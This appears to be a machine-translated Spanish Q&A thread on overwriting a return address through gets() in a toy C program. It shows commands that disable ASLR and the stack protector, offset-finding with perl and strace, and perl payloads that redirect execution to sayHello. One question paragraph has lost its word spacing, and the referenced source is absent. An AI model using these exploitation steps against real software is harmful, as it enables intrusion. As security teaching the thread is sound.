Problemas al desbordar la dirección de retorno en la pila x86_64

3

Para anotar antes de compilar el programa, deshabilité ASLR a través de:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space 
root@laptop:~# exit
logout

Luego compilé el programa a través de:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(Tampoco entendí el parámetro -mpreferred-stack-boundary=4 )

Tengo un programa:

Eldesbordamientoenteoríadeberíaocurrircuandoelcompiladorllegaalalíneadegets(buff);dondeheestadointentandodesbordarladirecciónderetorno($RIP).

Acontinuaciónsemuestraeldesmontajedemimétodoprincipal,getInput()ysayHello()(conelpropósitodemostrarladireccióndelmétodosayHello,0x4005d,queesperoquesobrescribalapilaRIP).

Cuandodoyunaentradademásde15xA,seguroelprograma.Ycuandoproporcionomásde24xA,comienzoasobrescribirel$RIP,esdecir,25xAharíanqueelvalordeRIP0x0000000000400041.Lógicamente,intentéproporcionarlosvaloreshexadecimalespara"4005dc" (dirección sayHello ()) sin embargo, cuando intento eso, fallo. Al usar convertidores de texto hexadecimales en línea, el valor de texto correspondiente que obtengo de "4005dc" es "@ Ü" .

Más, por lo que entiendo que cuando el programa alcance la instrucción retq dentro de getInput() , aparecerá la dirección de retorno de la parte superior de la pila y saltará a ella.

    
pregunta reyyez 02.11.2015 - 20:38
fuente

2 respuestas

2

SOLO SOLUCIÓN x86: (ver comentarios)

Si acerté en tu tarea, tienes que desbordar el puntero de función para decir hola.

Por lo tanto, la primera tarea es identificar la dirección de las funciones.

nm test | grep sayHello

En mi caso, este fue el resultado

0804844b T sayHello

Por lo tanto, tengo que sobrescribir la dirección de retorno (RET) de getInput () con 0x0804844b. Ahora puede identificar a través de gdb a qué distancia del RET se encuentra el buff buff. He elegido un enfoque diferente, ya que era bastante obvio qué rango será. Por lo tanto, mi siguiente paso fue identificar la cantidad de datos que se deben utilizar para sobreescribir RET. Esto se hace usando el siguiente comando que ingresará una cadena de 'A' repetida 28 veces cuando el programa espera la entrada (gets ()):

perl -e 'print "A"x28' | strace -i test

y busqué esa línea para que aparezca al final:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

A continuación, reduje el número de 28 a 24 e imprimí cuatro veces B para ver si la dirección en la salida anterior cambia a [42424242] - no lo hizo, así que reduje 24 a 20 y verifiqué nuevamente.

perl -e 'print "A"x20; print "BBBB"' |strace -i ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

El último paso es reemplazar BBBB con la dirección (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test

y la salida fue:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

He sobrescrito con éxito RET con la dirección de sayHello ().

Con eso fuera del cofre, echemos un vistazo a la pregunta de la cadena de compilación.

-mpreferred-stack-boundary=4 man gcc es muy útil aquí. Le dices a gcc con este parámetro que mantenga el límite de la pila alineado con 2 ^ 4 (16 bytes). Si desea tenerlo en 16 bytes, puede dejar el parámetro ya que este es el predeterminado.

Sin embargo, también he usado el parámetro -fno-stack-protector . Con esto le digo al compilador que no agregue código extra para verificar el desbordamiento del búfer. Si deja eso fuera, no podrá explotar su binario de prueba.

    
respondido por el Zonk 03.11.2015 - 09:32
fuente
1

x86_64 SOLUCIÓN:

Lo siento de nuevo por mi ignorancia en la primera respuesta, mi mente se estaba desviando ...

Pero en realidad no es tan diferente, aquí paso a paso cómo resolví esto.

1) Compilación del código fuente:

$ gcc -fno-stack-protector -o vuln vuln.c

Nota: Cambié el nombre del archivo ejecutable a vuln en lugar de a prueba, simplemente algo que me gusta para ordenar mi sistema de archivos.

2) Identifique la DIRECCIÓN de sayHello ():

$ nm vuln | grep sayHello
00000000004005bd T sayHello

Entonces, la DIRECCIÓN de sayHello es 0x0000004005bd , necesitamos sobrescribir RIP con ese valor antes de que getInput() devuelva.

3) Identifique la ubicación de RET_ADDR a sobrescribir por ADDR:

Similar a la solución x86, necesitamos identificar cuántas veces podemos pasar 'A' (o cualquier otro char) que el valor se almacene en la ubicación de RET_ADDR. GDB es tu amigo aquí, especialmente con peda . Puede encontrar un excelente ejemplo aquí .

En mi caso, era de 24 bytes = > perl -e 'print "A"x24'

4) Craft Payload to Overwrite RET_ADDR:

Este es el comando perl, cuyo resultado se envía a la llamada a gets ().

perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'

La segunda impresión dentro del comando perl se usa para pasar la DIRECCIÓN de sayHello () en little-endian.

5) Comando PIPE de (4) al Programa:

$ perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)
    
respondido por el Zonk 04.11.2015 - 18:47
fuente

Lea otras preguntas en las etiquetas